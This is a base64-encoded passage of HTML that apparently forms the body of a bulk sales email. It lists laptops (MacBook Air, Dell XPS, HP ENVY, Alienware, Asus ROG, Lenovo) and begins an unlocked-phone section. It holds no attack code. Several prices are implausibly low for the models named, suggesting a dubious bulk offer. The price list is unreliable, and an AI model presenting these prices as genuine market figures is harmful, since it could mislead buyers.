Q09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD0zNjAgY29sU3Bhbj01PjEzLjMm bmJzcDtpbmNoZXMmbmJzcDtpNSZuYnNwOzI1NkdCJm5ic3A7U1NEPC9URD4NCjxURCBzdHls ZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiA1NHB0OyBWRVJU SUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRo PTcyPiQzOTUmbmJzcDs8L1REPjwvVFI+DQo8VFIgaGVpZ2h0PTE5Pg0KPFREIHN0eWxlPSJG T05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDMyNHB0OyBWRVJUSUNB TC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTQz MiBjb2xTcGFuPTY+QXBwbGUmbmJzcDtNYWNCb29rJm5ic3A7QWlyJm5ic3A777yITUQ3MTJa UC9B77yJPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1 cHQ7IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigw LDAsMCkiIGhlaWdodD0xOSB3aWR0aD0zNjAgY29sU3Bhbj01PjExLjYmbmJzcDtpbmNoZXMm bmJzcDtpNSZuYnNwOzI1NkdCJm5ic3A7U1NEPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpF OiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiA1NHB0OyBWRVJUSUNBTC1BTElHTjog bWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTcyPiQyODAmbmJz cDs8L1REPjwvVFI+DQo8VFIgaGVpZ2h0PTE5Pg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDEx cHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDMyNHB0OyBWRVJUSUNBTC1BTElHTjogbWlk ZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTQzMiBjb2xTcGFuPTY+ QXBwbGUmbmJzcDtNYWNCb29rJm5ic3A7QWlyJm5ic3A777yITUQ3MTFDSC9B77yJPC9URD4N CjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAy NzBwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdo dD0xOSB3aWR0aD0zNjAgY29sU3Bhbj01PjExLjYmbmJzcDtpbmNoZXMmbmJzcDtpNSZuYnNw OzEyOEdCJm5ic3A7U1NEPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlH SFQ6IDE0LjI1cHQ7IFdJRFRIOiA1NHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xP UjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTcyPiQyNzAmbmJzcDs8L1REPjwvVFI+ DQo8VFIgaGVpZ2h0PTE5Pg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDog MTQuMjVwdDsgV0lEVEg6IDMyNHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjog cmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTQzMiBjb2xTcGFuPTY+RGVsbCZuYnNwO0lu c3Bpcm9uJm5ic3A7MTcmbmJzcDs3MDAwJm5ic3A777yISW5zMTdIRC0yNzI4VO+8iTwvVEQ+ DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDog MjcwcHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWln aHQ9MTkgd2lkdGg9MzYwIGNvbFNwYW49NT4xNy4zJm5ic3A7aW5jaGVzJm5ic3A7aTcmbmJz cDs4R0IrMVRCJm5ic3A7PC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlH SFQ6IDE0LjI1cHQ7IFdJRFRIOiA1NHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xP UjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTcyPiQzNzUmbmJzcDs8L1REPjwvVFI+ DQo8VFIgaGVpZ2h0PTE5Pg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDog MTQuMjVwdDsgV0lEVEg6IDMyNHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjog cmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTQzMiBjb2xTcGFuPTY+RGVsbCZuYnNwO0lu c3Bpcm9uJm5ic3A7MTUmbmJzcDs3MDAwJm5ic3A777yISW5zMTVIRC0yODI4VO+8iTwvVEQ+ DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDog MjcwcHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWln aHQ9MTkgd2lkdGg9MzYwIGNvbFNwYW49NT4xNS42Jm5ic3A7aW5jaGVzJm5ic3A7aTcmbmJz cDsxVEImbmJzcDs8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDog MTQuMjVwdDsgV0lEVEg6IDU0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiBy Z2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NzI+JDI3MCZuYnNwOzwvVEQ+PC9UUj4NCjxU UiBoZWlnaHQ9MTk+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4y NXB0OyBXSURUSDogMzI0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2Io MCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NDMyIGNvbFNwYW49Nj5EZWxsJm5ic3A7WFBTJm5i c3A7MTXvvIhYUFMxNUQtOTgyOFTvvIk8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDEx cHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDI3MHB0OyBWRVJUSUNBTC1BTElHTjogbWlk ZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTM2MCBjb2xTcGFuPTU+ MTUuNiZuYnNwO2luY2hlcyZuYnNwO2k3Jm5ic3A7NTEyR0I8L1REPg0KPFREIHN0eWxlPSJG T05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDU0cHQ7IFZFUlRJQ0FM LUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NzI+ JDM1MCZuYnNwOzwvVEQ+PC9UUj4NCjxUUiBoZWlnaHQ9MTk+DQo8VEQgc3R5bGU9IkZPTlQt U0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMzI0cHQ7IFZFUlRJQ0FMLUFM SUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NDMyIGNv bFNwYW49Nj5EZWxsJm5ic3A7WFBTJm5ic3A7MTTvvIhYUFMxNEQtNDgxOO+8iTwvVEQ+DQo8 VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMjcw cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9 MTkgd2lkdGg9MzYwIGNvbFNwYW49NT4xNC4wJm5ic3A7aW5jaGVzJm5ic3A7aTcmbmJzcDs1 MTJHQjwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0 OyBXSURUSDogNTRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAs MCkiIGhlaWdodD0xOSB3aWR0aD03Mj4kMzIwJm5ic3A7PC9URD48L1RSPg0KPFRSIGhlaWdo dD0xOT4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJ RFRIOiAzMjRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCki IGhlaWdodD0xOSB3aWR0aD00MzIgY29sU3Bhbj02PkRlbGwmbmJzcDtYUFMmbmJzcDsxMiZu YnNwO++8iFhQUzEyRC00NzA477yJPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0 OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwtQUxJR046IG1pZGRs ZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD0zNjAgY29sU3Bhbj01PjEy LjUmbmJzcDtpbmNoZXMmbmJzcDtpNyZuYnNwOzI1NkdCJm5ic3A7Jm5ic3A7PC9URD4NCjxU RCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiA1NHB0 OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5 IHdpZHRoPTcyPiQyNzImbmJzcDs8L1REPjwvVFI+DQo8VFIgaGVpZ2h0PTE5Pg0KPFREIHN0 eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDMyNHB0OyBW RVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdp ZHRoPTQzMiBjb2xTcGFuPTY+SHAmbmJzcDtFTlZZJm5ic3A7MTctajEwNlRYJm5ic3A777yI RjRBMDVQQe+8iTwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAx NC4yNXB0OyBXSURUSDogMjcwcHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiBy Z2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9MzYwIGNvbFNwYW49NT4xNy4zJm5ic3A7aW5j aGVzJm5ic3A7aTcmbmJzcDsyNEdCKzJUQiZuYnNwOzwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQt U0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogNTRwdDsgVkVSVElDQUwtQUxJ R046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD03Mj4kMjgw Jm5ic3A7PC9URD48L1RSPg0KPFRSIGhlaWdodD0xOT4NCjxURCBzdHlsZT0iRk9OVC1TSVpF OiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAzMjRwdDsgVkVSVElDQUwtQUxJR046 IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD00MzIgY29sU3Bh bj02PkhwJm5ic3A7T01FTiZuYnNwOzxTUEFOIHN0eWxlPSJCT1JERVItQk9UVE9NOiAjY2Nj IDFweCBkYXNoZWQ7IFotSU5ERVg6IDEiIHQ9IjciIGRhdGE9IjE1LTUwMTQiPjE1LTUwMTQ8 L1NQQU4+VFgmbmJzcDvvvIhLNUM2NVBB77yJPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpF OiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwtQUxJR046 IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD0zNjAgY29sU3Bh bj01PjE1LjYmbmJzcDtpbmNoZXMmbmJzcDtpNyZuYnNwOzUxMkdCJm5ic3A7PC9URD4NCjxU RCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiA1NHB0 OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5 IHdpZHRoPTcyPiQyODgmbmJzcDs8L1REPjwvVFI+DQo8VFIgaGVpZ2h0PTE5Pg0KPFREIHN0 eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDMyNHB0OyBW RVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdp ZHRoPTQzMiBjb2xTcGFuPTY+SHAmbmJzcDtFTlZZJm5ic3A7VG91Y2hTbWFydCZuYnNwOzE0 LWswMzFUWCZuYnNwO++8iEU2RjE2UEHvvIk8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6 IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDI3MHB0OyBWRVJUSUNBTC1BTElHTjog bWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTM2MCBjb2xTcGFu PTU+MTQuMCZuYnNwO2luY2hlcyZuYnNwO2k1Jm5ic3A7MjRHQisxVEImbmJzcDs8L1REPg0K PFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDU0 cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9 MTkgd2lkdGg9NzI+JDcyNSZuYnNwOzwvVEQ+PC9UUj4NCjxUUiBoZWlnaHQ9MTk+DQo8VEQg c3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMzI0cHQ7 IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkg d2lkdGg9NDMyIGNvbFNwYW49Nj5Ub3NoaWJhJm5ic3A7VTQwdC1BVDAxUzwvVEQ+DQo8VEQg c3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMjcwcHQ7 IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkg d2lkdGg9MzYwIGNvbFNwYW49NT4xNC4wJm5ic3A7aW5jaGVzJm5ic3A7aTUmbmJzcDszMkdC KzUwMEdCJm5ic3A7PC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6 IDE0LjI1cHQ7IFdJRFRIOiA1NHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjog cmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTcyPiQyNDUmbmJzcDs8L1REPjwvVFI+DQo8 VFIgaGVpZ2h0PTE5Pg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQu MjVwdDsgV0lEVEg6IDMyNHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdi KDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTQzMiBjb2xTcGFuPTY+VG9zaGliYSZuYnNwO1U5 MjB0LVQwOEI8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQu MjVwdDsgV0lEVEg6IDI3MHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdi KDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTM2MCBjb2xTcGFuPTU+MTIuNSZuYnNwO2luY2hl cyZuYnNwO2k1Jm5ic3A7NjRHQiZuYnNwOzwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTog MTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogNTRwdDsgVkVSVElDQUwtQUxJR046IG1p ZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD03Mj4kMjQwJm5ic3A7 PC9URD48L1RSPg0KPFRSIGhlaWdodD0xOT4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0 OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAzMjRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRs ZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD00MzIgY29sU3Bhbj02PlNh bXN1bmcmbmJzcDs5MzBYNUotSzAxPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0 OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwtQUxJR046IG1pZGRs ZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD0zNjAgY29sU3Bhbj01PjE1 LjYmbmJzcDtpbmNoZXMmbmJzcDtpNyZuYnNwOzI1NkdCPC9URD4NCjxURCBzdHlsZT0iRk9O VC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiA1NHB0OyBWRVJUSUNBTC1B TElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTcyPiQy OTAmbmJzcDs8L1REPjwvVFI+DQo8VFIgaGVpZ2h0PTE5Pg0KPFREIHN0eWxlPSJGT05ULVNJ WkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDY0OHB0OyBWRVJUSUNBTC1BTElH TjogbWlkZGxlOyBDT0xPUjogcmdiKDI1NSwwLDApOyBGT05ULVNUWUxFOiBpdGFsaWMiIGhl aWdodD0xOSB3aWR0aD04NjQgY29sU3Bhbj0xMj5HYW1pbmcmbmJzcDtVbHRyYWJvb2smbmJz cDsoVWx0cmFib29rJm5ic3A7Zm9yJm5ic3A7UGxheWluZyZuYnNwO0dhbWUpPC9URD48L1RS Pg0KPFRSIGhlaWdodD0xOT4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6 IDE0LjI1cHQ7IFdJRFRIOiAzMjRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6 IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD00MzIgY29sU3Bhbj02PkFsaWVud2FyZSZu YnNwOzE477yIQUxXMThELTU3ODjvvIk8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDEx cHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDI3MHB0OyBWRVJUSUNBTC1BTElHTjogbWlk ZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTM2MCBjb2xTcGFuPTU+ MTguNCZuYnNwO2luY2hlcyZuYnNwO2k3Jm5ic3A7NTEyR0IrMlRCPC9URD4NCjxURCBzdHls ZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiA1NHB0OyBWRVJU SUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRo PTcyPiQ2ODgmbmJzcDs8L1REPjwvVFI+DQo8VFIgaGVpZ2h0PTE5Pg0KPFREIHN0eWxlPSJG T05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDMyNHB0OyBWRVJUSUNB TC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTQz MiBjb2xTcGFuPTY+QWxpZW53YXJlJm5ic3A7MTjvvIhBTFcxOEQtNDc4OO+8iTwvVEQ+DQo8 VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMjcw cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9 MTkgd2lkdGg9MzYwIGNvbFNwYW49NT4xOC40Jm5ic3A7aW5jaGVzJm5ic3A7aTcmbmJzcDs1 MTJHQisxVEI8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQu MjVwdDsgV0lEVEg6IDU0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2Io MCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NzI+JDY2MCZuYnNwOzwvVEQ+PC9UUj4NCjxUUiBo ZWlnaHQ9MTk+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0 OyBXSURUSDogMzI0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCww LDApIiBoZWlnaHQ9MTkgd2lkdGg9NDMyIGNvbFNwYW49Nj5BbGllbndhcmUmbmJzcDsxN++8 iEFMVzE3RC00OTQ477yJPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlH SFQ6IDE0LjI1cHQ7IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09M T1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD0zNjAgY29sU3Bhbj01PjE3LjMmbmJz cDtpbmNoZXMmbmJzcDtpNyZuYnNwOzgwR0ImbmJzcDsrJm5ic3A7MlRCPC9URD4NCjxURCBz dHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiA1NHB0OyBW RVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdp ZHRoPTcyPiQ1NTAmbmJzcDs8L1REPjwvVFI+DQo8VFIgaGVpZ2h0PTE5Pg0KPFREIHN0eWxl PSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDMyNHB0OyBWRVJU SUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRo PTQzMiBjb2xTcGFuPTY+SFAmbmJzcDtFTlZZJm5ic3A7MTcmbmJzcDszRCZuYnNwO05vdGVi b29rPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7 IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAs MCkiIGhlaWdodD0xOSB3aWR0aD0zNjAgY29sU3Bhbj01PjE3LjMmbmJzcDtpbmNoZXMmbmJz cDtpNyZuYnNwOzY0MEdCJm5ic3A7KDcyMDBSUE0pPC9URD4NCjxURCBzdHlsZT0iRk9OVC1T SVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiA1NHB0OyBWRVJUSUNBTC1BTElH TjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTcyPiQzMTAm bmJzcDs8L1REPjwvVFI+DQo8VFIgaGVpZ2h0PTE5Pg0KPFREIHN0eWxlPSJGT05ULVNJWkU6 IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDMyNHB0OyBWRVJUSUNBTC1BTElHTjog bWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTQzMiBjb2xTcGFu PTY+QXN1cyZuYnNwO1JPRyZuYnNwO0c3NTBKWiZuYnNwO0dhbWluZyZuYnNwO05vdGVib29r PC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJ RFRIOiAyNzBwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCki IGhlaWdodD0xOSB3aWR0aD0zNjAgY29sU3Bhbj01PjE3LjMmbmJzcDtpbmNoZXMmbmJzcDtp NyZuYnNwOzUxMkdCKzEuNVRCPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBI RUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiA1NHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBD T0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTcyPiQzODAmbmJzcDs8L1REPjwv VFI+DQo8VFIgaGVpZ2h0PTE5Pg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdI VDogMTQuMjVwdDsgV0lEVEg6IDMyNHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xP UjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTQzMiBjb2xTcGFuPTY+TGVub3ZvJm5i c3A7WTcwLTcwVC1JU0UmbmJzcDtHYW1pbmcmbmJzcDtOb3RlYm9vazwvVEQ+DQo8VEQgc3R5 bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMjcwcHQ7IFZF UlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lk dGg9MzYwIGNvbFNwYW49NT4xNy4zJm5ic3A7aW5jaGVzJm5ic3A7aTcmbmJzcDs1MTJHQiZu YnNwO1NTRDwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4y NXB0OyBXSURUSDogNTRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigw LDAsMCkiIGhlaWdodD0xOSB3aWR0aD03Mj4kMjk4Jm5ic3A7PC9URD48L1RSPg0KPFRSIGhl aWdodD0xOT4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7 IFdJRFRIOiAzMjRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAs MCkiIGhlaWdodD0xOSB3aWR0aD00MzIgY29sU3Bhbj02PjwvVEQ+DQo8VEQgc3R5bGU9IkZP TlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMjcwcHQ7IFZFUlRJQ0FM LUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9MzYw IGNvbFNwYW49NT48L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDog MTQuMjVwdDsgV0lEVEg6IDU0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiBy Z2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NzI+PC9URD48L1RSPg0KPFRSIGhlaWdodD0x OT4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBURVhULURFQ09SQVRJT046IHVuZGVy bGluZTsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogNjQ4cHQ7IFZFUlRJQ0FMLUFMSUdOOiBt aWRkbGU7IENPTE9SOiByZ2IoMjU1LDAsMCk7IEZPTlQtU1RZTEU6IGl0YWxpYyIgaGVpZ2h0 PTE5IHdpZHRoPTg2NCBjb2xTcGFuPTEyPlVubG9ja2VkJm5ic3A7Q2VsbCZuYnNwO1Bob25l Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 